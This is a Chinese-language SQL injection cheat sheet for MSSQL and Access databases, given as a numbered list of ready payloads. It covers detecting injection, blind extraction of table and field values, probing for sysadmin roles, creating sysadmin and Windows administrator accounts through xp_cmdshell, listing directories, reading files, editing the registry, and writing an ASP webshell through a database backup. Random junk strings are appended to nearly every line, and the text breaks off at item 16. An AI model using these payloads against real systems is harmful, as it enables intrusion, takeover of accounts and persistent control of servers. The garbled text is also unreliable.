1.判断是否有注入;and 1=1 ;and 1=2 >9X+\eg-
2.初步判断是否是mssql ;and user>0 LN=#&7=$c
#[y2nK3zF
3.注入参数是字符'and [查询条件] and ''=' mN'sJ1L-
8j8~?=$a6Q
4.搜索时没过滤参数的'and [查询条件] and '%25'=' Kj#h9e
<|VV8r93
5.判断数据库系统 M#xol/)h
UW-`k1
;and (select count(*) from sysobjects)>0 mssql ^'4I%L"
d@{#F"o
;and (select count(*) from msysobjects)>0 access ]NY^0SqM
N`7+]T
/n3S E0Y
P7;q^jlB
6.猜数据库 ;and (select Count(*) from [数据库名])>0 "QM2YJ55m`
)H%RwV#
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 be>KG ZU0
f!JSb?#3
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 bJFqyK:6
[q(}~0{"-
9.(1)猜字段的ascii值(access) kDc/]Zb%
\;!g@?CA
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 J|e3
UikA
XknbcA|
(2)猜字段的ascii值(mssql) NP$ D9#
$%5vJiuk
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 G:Nwi=vN
._`?ZJ
10.测试权限结构(mssql) $A>]lLo0
Hx ojxZwm
@EUvx
?nD]p!
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- QMwV6cA
|S3wCG
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- [V41 Gk
P8GGN
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- uEyu s96 +
slV]CXW)t
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 2.&%mSN
*r iWrG
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- hu:x,;`9H
U (A#}
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ccgV-'IG9
>;~ ia3
;and 1=(select IS_MEMBER('db_owner'));-- 2jyxP6t
&Pgk$e%>
6v&@Rlg
,ydn]0SS
11.添加mssql和系统的帐户 Fc a_(jw
gr4JaV
;exec master.dbo.sp_addlogin username;-- nT@FSt
;exec master.dbo.sp_password null,username,password;-- I6[=tB
HLl"=m1/>
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- =_`cY^ib+
8lF:70wia
;exec master.dbo.xp_cmdshell 'net user username password ^\3z$ntF
5>rjL;
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ;%O>=m'4
='<*mT<
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Z%7X" w
-m Sf`1l0
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- [.>g.p,;
KwhATYWQb
iLf*m~Q
?# )\SQ
12.(1)遍历目录 v\Zq=,+
tdnd~ WSR
;create table dirs(paths varchar(100), id int) (2r808^2
\7 }{\hY-
;insert dirs exec master.dbo.xp_dirtree 'c:\' 'BNZUuUl
ShMP_?]P
;and (select top 1 paths from dirs)>0 saR9_
ux
tflUy\H>
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 4_o+gG%HaM
49dN ~k=
It5n;,n
zc!q a"4yM
(2)遍历目录 n)R[T.E)+
HkyN$1s
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- P@Av/r
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `
NWmwmWB"
H:X(><J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 e)]DFP[n
/UiB1-*b
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 iI!g1
YG>6;g)Zm
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 0<]]q[pr
-d6PXf5
=}[m_rp&
wO"ezQ
13.mssql中的存储过程 =+VI{~.|}
&_$xMM,X
xp_regenumvalues 注册表根键, 子键 K=!?gd!Vw
!&Us^Q^
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 \D}$foHg
4
zipgw
xp_regread 根键,子键,键值名 n2&M?MGX
A}n7A
;exec xp_regread *5R91@xt
c_syJ<
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 y?8V'.f|
Fzn#>`qG
xp_regwrite 根键,子键, 值名, 值类型, 值 _)^`+{N<
;e\K8*o
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 IYB;X
}r:8w*47
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 HG[gJ7
&Y$)s<u8.
xp_regdeletevalue 根键,子键,值名 :w:ql/?X
[3io6XG x@
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 V-zF'KI[
:*)b<:4
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 eHH9#Vrhc$
gOm%?sg
i-Ri;E
_O"C`]]
14.mssql的backup创建webshell [,q^\T
%YI !{
use model hVu~[ 'Me
rvBKJ!b0
create table cmd(str image); /V!gF+L
zl["}I(*n
insert into cmd(str) values (''); ]8EkZC
BaE}|4
backup database model to disk='c:\l.asp'; X*rB`M7,
dsA::jR0P6
<F+9#-
Vvk\$'
15.mssql内置函数 j'&a)-Wx_
bv'Z~@<c
;and (select @@version)>0 获得Windows的版本号 sys;Rz2
mNr<=Z%b
;and user_name()='dbo' 判断当前系统的连接用户是不是sa t[x[X4
8Nxyc>8K~
;and (select user_name())>0 爆当前系统的连接用户 *G;D u`;
dV+GWJNNE
;and (select db_name())>0 得到当前连接的数据库 LZrkFkiC
(JeRJ4
_ +A$6l
K@;ls
16.简洁的webshell iuWw(dJk
<